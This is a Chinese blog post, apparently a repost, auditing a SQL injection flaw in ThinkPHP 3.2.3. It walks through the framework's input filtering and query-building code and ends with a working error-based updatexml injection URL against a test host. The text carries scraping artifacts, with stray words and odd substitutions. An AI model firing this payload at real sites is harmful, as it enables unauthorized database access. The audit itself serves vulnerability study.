阅读 117

代码审计-thinkphp3.2.3框架漏洞sql注入

这篇文章主要向大家介绍代码审计-thinkphp3.2.3框架漏洞sql注入,主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

 

开始复现审计一下tp3和tp5的框架漏洞,当个练习吧。php

涉及注入的方法为where() table() delete()等。sql

环境 tp3.2.3 :thinkphp

0x01 注入成因

测试代码:数组

    public function index2(){
//        $data = M(‘user‘)-> where(‘username = "admin"‘)->select();
//        dump($data);
        $id = i(‘id‘);
        $res = M(‘user‘)->find($id);

I方法断点 跟进去看。安全

F7跟进, thinkphp/ThinkPHP/Common/functions.php :cookie

从283行开始看 首先判断提交方式:session

switch(strtolower($method)) {
        case ‘get‘     :   
            $input =& $_GET;
            break;
        case ‘post‘    :   
            $input =& $_POST;
            break;
        case ‘put‘     :   
            if(is_null($_PUT)){
                parse_str(file_get_contents(‘php://input‘), $_PUT);
            }
            $input     =    $_PUT;        
            break;
        case ‘param‘   :
            switch($_SERVER[‘REQUEST_METHOD‘]) {
                case ‘POST‘:
                    $input  =  $_POST;
                    break;
                case ‘PUT‘:
                    if(is_null($_PUT)){
                        parse_str(file_get_contents(‘php://input‘), $_PUT);
                    }
                    $input     =    $_PUT;
                    break;
                default:
                    $input  =  $_GET;
            }
            break;
        case ‘path‘    :   
            $input  =   array();
            if(!empty($_SERVER[‘PATH_INFO‘])){
                $depr   =   C(‘URL_PATHINFO_DEPR‘);
                $input  =   explode($depr,trim($_SERVER[‘PATH_INFO‘],$depr));            
            }
            break;
        case ‘request‘ :   
            $input =& $_REQUEST;   
            break;
        case ‘session‘ :   
            $input =& $_SESSION;   
            break;
        case ‘cookie‘  :   
            $input =& $_COOKIE;    
            break;
        case ‘server‘  :   
            $input =& $_SERVER;    
            break;
        case ‘globals‘ :   
            $input =& $GLOBALS;    
            break;
        case ‘data‘    :   
            $input =& $datas;      
            break;
        default:
            return null;
    }

重点看过滤的地方框架

 

think_filter:函数

function think_filter(&$value){
// TODO 其余安全过滤

// 过滤查询特殊字符
if(preg_match(‘/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i‘,$value)){
    $value .= ‘ ‘;
}
}

这里基本就是成因了 黑名单过滤 可是有漏网之鱼 常见的updataxml()报错函数都没过滤。post

 

跟到后面在函数 parseSet能够看到咱们提交的字符串做为占位符:

protected function parseSet($data) {
        foreach ($data as $key=>$val){
            if(is_array($val) && ‘exp‘ == $val[0]){
                $set[]  =   $this->parseKey($key).‘=‘.$val[1];
            }elseif(is_null($val)){
                $set[]  =   $this->parseKey($key).‘=NULL‘;
            }elseif(is_scalar($val)) {// 过滤非标量数据
                if(0===strpos($val,‘:‘) && in_array($val,array_keys($this->bind)) ){
                    $set[]  =   $this->parseKey($key).‘=‘.$this->escapeString($val);
                }else{
                    $name   =   count($this->bind);
                    $set[]  =   $this->parseKey($key).‘=:‘.$name;
                    $this->bindParam($name,$val);
                }
            }
        }
        return ‘ SET ‘.implode(‘,‘,$set);
    }

_parseOptions方法:

if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
            $options = array_merge($this->options, $options);
        }
 
        if (!isset($options[‘table‘])) {//判断是否设置了table 没设置进这里
            // 自动获取表名
            $options[‘table‘] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定数据表 则从新获取字段列表 但不支持类型检测
            $fields = $this->getDbFields(); //设置了进这里
        }
 
        // 数据表别名
        if (!empty($options[‘alias‘])) {//判断是否设置了数据表别名
            $options[‘table‘] .= ‘ ‘ . $options[‘alias‘]; //注意这里,直接拼接了
        }
        // 记录操做的模型名称
        $options[‘model‘] = $this->name;
 
        // 字段类型验证
        if (isset($options[‘where‘]) && is_array($options[‘where‘]) && !empty($fields) && !isset($options[‘join‘])) { //让$optison[‘where‘]不为数组或没有设置不进这里
            // 对数组查询条件进行字段类型检查
           ......
        }
        // 查询事后清空sql表达式组装 避免影响下次查询
        $this->options = array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;

 

当咱们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。

同时$options[‘where‘]也同样,看到parseWhere函数
$whereStr = ‘‘;
        if (is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where; //直接返回了,没有任何过滤
        } else {
            // 使用数组表达式
           ......
        }

0x02 复现利用

http://www.qing-tp3.com/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 

原文:https://www.cnblogs.com/80sec/p/15253699.html

文章分类
百科问答
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐